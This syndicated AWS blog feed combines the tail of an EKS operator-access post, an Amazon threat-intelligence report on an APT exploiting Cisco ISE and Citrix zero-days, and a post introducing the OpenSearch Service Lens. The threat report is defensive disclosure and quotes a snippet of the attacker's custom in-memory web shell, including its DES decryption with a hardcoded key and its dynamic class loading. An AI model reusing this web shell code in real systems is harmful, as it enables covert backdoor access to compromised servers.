Amazon EKS is designed and built to make sure that no AWS employee can read, copy, modify, or otherwise access customer content in Amazon EKS. By using AWS Nitro System‑based confidential compute, tightly‑scoped administrative APIs, multi‑party change‑approval processes, and end‑to‑end encryption, AWS avoids technical pathways for operator access. Independent validation from the NCC Group found no architectural gaps that would undermine these guarantees. In short, Amazon EKS delivers a zero operator access model that can meet the strictest regulatory and sovereignty requirements, giving organizations the confidence to run their most sensitive, mission‑critical workloads on AWS.

Learn more

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Micah Hausler

Micah Hausler

Micah is a Principal Software Engineer at AWS and focuses on Kubernetes and container security.

Lukonde Mwila

Lukonde Mwila

Lukonde is a Senior Product Manager at AWS in the Amazon EKS team, focusing on networking, resiliency, and operational security. He has years of experience in application development, solution architecture, cloud engineering, and DevOps workflows.

Manuel Mazarredo

Manu Mazarredo

Manu is a program manager at AWS based in Amsterdam, the Netherlands. Manu leads compliance and security assurance audits and engagements across AWS Regions and industries. For the past 20 years, he has worked in information systems audits, ethical hacking, project management, quality assurance, and vendor management

Tari Dongo

Tari Dongo

Tari is a Security Assurance Program Manager at AWS, based in London. Tari is responsible for third-party and customer audits, attestations, certifications, and assessments across EMEA. Previously, Tari worked in Security Assurance and Technology Risk in the big four and financial services industry.

Amazon discovers APT exploiting Cisco and Citrix zero-days

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/amazon-discovers-apt-exploiting-cisco-and-citrix-zero-days/

The Amazon threat intelligence teams have identified an advanced threat actor exploiting previously undisclosed zero-day vulnerabilities in Cisco Identity Service Engine (ISE) and Citrix systems. The campaign used custom malware and demonstrated access to multiple undisclosed vulnerabilities. This discovery highlights the trend of threat actors focusing on critical identity and network access control infrastructure—the systems enterprises rely on to enforce security policies and manage authentication across their networks.

Initial discovery

Our Amazon MadPot honeypot service detected exploitation attempts for the Citrix Bleed Two vulnerability (CVE-2025-5777) prior to public disclosure, indicating a threat actor had been exploiting the vulnerability as a zero-day. Through further investigation of the same threat exploiting the Citrix vulnerability, Amazon Threat Intelligence identified and shared with Cisco an anomalous payload targeting a previously undocumented endpoint in Cisco ISE that used vulnerable deserialization logic. This vulnerability, now designated as CVE-2025-20337, allowed the threat actors to achieve pre-authentication remote code execution on Cisco ISE deployments, providing administrator-level access to compromised systems. What made this discovery particularly concerning was that exploitation was occurring in the wild before Cisco had assigned a CVE number or released comprehensive patches across all affected branches of Cisco ISE. This patch-gap exploitation technique is a hallmark of sophisticated threat actors who closely monitor security updates and quickly weaponize vulnerabilities.

Custom web shell deployment

Following successful exploitation, the threat actor deployed a custom web shell disguised as a legitimate Cisco ISE component named IdentityAuditAction. This wasn’t typical off-the-shelf malware, but rather a custom-built backdoor specifically designed for Cisco ISE environments. The web shell demonstrated advanced evasion capabilities. It operated completely in-memory, leaving minimal forensic artifacts, used Java reflection to inject itself into running threads, registered as a listener to monitor all HTTP requests across the Tomcat server, implemented DES encryption with non-standard Base64 encoding to evade detection, and required knowledge of specific HTTP headers to access.

The following is a snippet of the deserialization routine showing the actor’s extensive authentication to access their web shell:

if (matcher.find()) {
    requestBody = matcher.group(1).replace("*", "a").replace("$", "l");
    Cipher encodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    decodeCipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
    byte[] key = "d384922c".getBytes();
    encodeCipher.init(1, new SecretKeySpec(key, "DES"));
    decodeCipher.init(2, new SecretKeySpec(key, "DES"));
    byte[] data = Base64.getDecoder().decode(requestBody);
    data = decodeCipher.doFinal(data);
    ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
    if (proxyClass == null) {
        proxyClass = this.defineClass(data);
    } else {
        Object f = proxyClass.newInstance();
        f.equals(arrOut);
        f.equals(request);
        f.equals(data);
        f.toString();
    }

Security implications

As previously noted, Amazon threat intelligence identified through our MadPot honeypots that the threat actor was exploiting both CVE-2025-20337 and CVE-2025-5777 as zero-days, and was indiscriminately targeting the internet with these vulnerabilities at the time of investigation. The campaign underscored the evolving tactics of threat actors targeting critical enterprise infrastructure at the network edge. The threat actor’s custom tooling demonstrated a deep understanding of enterprise Java applications, Tomcat internals, and the specific architectural nuances of the Cisco Identity Service Engine. The access to multiple unpublished zero-day exploits indicates a highly resourced threat actor with advanced vulnerability research capabilities or potential access to non-public vulnerability information.

Recommendations for security teams

For security teams, this serves as a reminder that critical infrastructure components like identity management systems and remote access gateways remain prime targets for threat actors. The pre-authentication nature of these exploits reveals that even well-configured and meticulously maintained systems can be affected. This underscores the importance of implementing comprehensive defense-in-depth strategies and developing robust detection capabilities that can identify unusual behavior patterns. Amazon recommends limiting access, through firewalls or layered access, to privileged security appliance endpoints such as management portals.

Vendor references

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

Introducing the Amazon OpenSearch Lens for the AWS Well-Architected Framework

Post Syndicated from Muslim Abu-Taha original https://aws.amazon.com/blogs/big-data/introducing-the-amazon-opensearch-lens-for-the-aws-well-architected-framework/

Earlier this year, we released the Amazon OpenSearch Service Lens, an AWS Well-Architected whitepaper. The AWS Well-Architected Framework provides a consistent approach for evaluating architectures and implementing scalable designs. Using this framework, the Amazon OpenSearch Service Lens outlines how to perform AWS Well-Architected reviews to assess and identify technical risks in your OpenSearch Service deployments.

In this post, we show you how to use the Amazon OpenSearch Service Lens to evaluate your OpenSearch Service workloads against architectural best practices.

Understanding the AWS Well-Architected Framework

At AWS, a well-architected cloud environment is fundamental to helping you achieve your business outcomes. The AWS Well-Architected Framework represents the collective experience of AWS from working with organizations across industries, distilled into a structured approach for evaluating architectures and implementing designs that scale over time. The AWS Well-Architected Framework is built on six pillars: Operational Excellence, Security, Reliability, Performance Efficiency, Cost Optimization, and Sustainability. Using the Framework, cloud architects, system builders, engineers, and developers can build secure, high performance, resilient, and efficient infrastructure for their applications and workloads.

OpenSearch Service Lens

The OpenSearch Service Lens is a collection of customer-proven design principles and best practices to help you adopt a cloud-native approach to using Amazon OpenSearch Service. These recommendations are based on insights that AWS has gathered from customers, AWS Partners, the community, and our own AWS OpenSearch technical specialist communities.

The OpenSearch Service Lens extends the AWS Well-Architected Framework to help you address critical architectural questions specific to Amazon OpenSearch workloads, for example:

  • How do you size and configure Amazon OpenSearch Service domains for optimal performance?
  • What data retention and lifecycle management strategies help balance cost and accessibility?
  • How do you implement security controls that protect sensitive data while maintaining search functionality?
  • What operational practices ensure reliable search experiences as your data volumes grow?

The OpenSearch Service Lens joins a collection of AWS Well-Architected Lenses that focus on specialized workloads such as the Internet of Things (IoT), games, artificial intelligence (AI) and machine learning (ML), SAP, and serverless technology.

The lens highlights some of the most common areas for assessment and improvement. It is designed to align with and provide insights across the six pillars of the AWS Well-Architected Framework:

  • Operational excellence focuses on running and monitoring systems to deliver business value, and continually improving processes and procedures. This topic includes the ability to support development and run workloads effectively, gaining insights into their operations, and continuously improve supporting processes to deliver business value.
  • Security focuses on protecting your data and systems. This addresses implementing fine-grained access control for users and applications, securing domain access through encryption and network controls, detecting and mitigating vulnerabilities, reducing potential attack surfaces, and protecting sensitive data.
  • Reliability focuses on ensuring an end user environment performs correctly and consistently when it’s expected to. This topic includes implementing automatic disaster recovery mechanisms, designing multi-Availability Zone deployments for high availability, scaling domain capacity to meet demand, and using automation for operational tasks to reduce human error. It also covers implementing backup and restore strategies, managing cluster state, and setting up monitoring and alerting to maintain service performance and availability.
  • Performance efficiency focuses on using Amazon OpenSearch Service resources effectively. This includes selecting appropriate instance types and storage options based on your workload requirements, implementing performance monitoring and optimization strategies, and using OpenSearch Service features to reduce operational overhead. It also covers tuning domain configurations, managing data indexing patterns, and optimizing search and analytics queries to achieve the best possible performance while maintaining cost efficiency.
  • Cost optimization focuses on managing expenses effectively. This topic addresses implementing cost allocation tags to track domain expenses by workload, selecting appropriate instance types and storage options based on your needs, and choosing cost-effective payment options such as Reserved Instances for predictable workloads. It also covers using UltraWarm and cold storage tiers for infrequently accessed data, implementing index lifecycle policies to manage storage costs, and monitoring usage patterns to rightsize domains and optimize performance-to-cost ratios.
  • Sustainability focuses on minimizing the environmental impacts of running cloud workloads. OpenSearch topics addresses implementing efficient domain sizing strategies, selecting instance types with the best performance-to-energy ratio, optimizing retention policies and using different storage tiers to reduce the active compute footprint.

By applying this lens to your Amazon OpenSearch Service workloads, you gain insights that go beyond general architectural principles to address characteristics of search and analytics implementations. The OpenSearch Service Lens provides a consistent framework for making architectural decisions aligned with AWS best practices for designing a new Amazon OpenSearch Service architecture or optimizing an existing deployment.

Getting started with the OpenSearch Lens

To get started with the Amazon OpenSearch Service Lens, review the six pillars of the AWS Well-Architected Framework: Operational Excellence, Security, Reliability, Performance Efficiency, Cost Optimization, and Sustainability.

Then, sign in to the AWS Management Console and open the AWS Well-Architected Tool. Navigate to Custom Lenses and import the Amazon OpenSearch Service Lens. After importing the lens, you can use the specialized questionnaires to evaluate your OpenSearch Service workloads against best practices, and once you complete the questionnaire, you will get insightful feedback.

Next, plan architecture reviews with your team to evaluate your Amazon OpenSearch Service domains using the lens criteria. Document your assessment results, including what works well and where you can improve your deployment. For help understanding the Amazon OpenSearch Service Lens questions, refer to the lens documentation.

If you have an AWS Support plan, you can request help with your architecture review. The OpenSearch Service Lens questions aim to guide your architectural decisions, not test your knowledge. Focus on understanding the architectural principles behind each question. After completing your assessment, create a prioritized improvement plan that addresses findings that could affect your workload performance, data durability, and cost efficiency. For help implementing these improvements, you can work with AWS Professional Services or AWS Partners who specialize in Amazon OpenSearch Service.

Conclusion and next steps

The Amazon OpenSearch Service Lens provides actionable guidance to help you build well-architected search and analytics workloads aligned with your business requirements. Start by accessing the AWS Well-Architected Tool and applying this lens to your OpenSearch Service domains. Make architectural reviews a regular part of your development process. Consider sharing your experiences with the AWS community to help others improve their OpenSearch Service implementations.

You can find more information on AWS Well-Architected Lenses in the AWS Well-Architected Tool User Guide. We encourage you to incorporate this specialized guidance into your architectural reviews and use it to drive continuous improvement in your search and analytics workloads on AWS.

AWS regularly updates the Amazon OpenSearch Service Lens to reflect new service capabilities and architectural best practices. These updates help you take advantage of the latest improvements in Amazon OpenSearch Service while maintaining architectural excellence.

To learn more about Amazon OpenSearch Service, including customer success stories and additional resources, visit Amazon OpenSearch Service page.

About the authors

Muslim Abu-Taha

Muslim Abu-Taha

Muslim is the Senior Worldwide Specialist Solutions Architect for Amazon OpenSearch located in Dubai, UAE. He works with customers across Europe, the Middle East and Africa to support them on their journeys adopting and scaling AWS OpenSeach workloads.

Shih-Yong Wang

Shih-Yong Wang

Shih-Yong is a Solutions Architect at AWS in Taiwan. He utilizes over twenty years of IT expertise to empower clients across diverse industries. By strategically leveraging AWS services, he helps foster business value and creates limitless opportunities for innovation.

Contributors

The authors would like to thank the following people for their invaluable help in developing this new OpenSearch Lens for the AWS Well-Architected Framework: Muslim Abu-Taha, Senior Worldwide Specialist Solutions Architect for Amazon OpenSearch; Shih-Yong Wang, Manager, Solutions Architecture; Ankush Agarwal, Solutions Architect; and Jun-Tin Yeh, Cloud Optimization Success Solutions Architect.

The authors would also like to thank the following people for their contributions to technical reviews: Cedric Pelvet, Principal OpenSearch Solutions Architect; Hajer Bouafif, Senior OpenSearch Solutions Architect; Francisco Losada, OpenSearch Solutions Architect; Bharav Patel, OpenSearch Solutions Architect; and Praveen Prasad, Senior Specialist Technical Account Manager.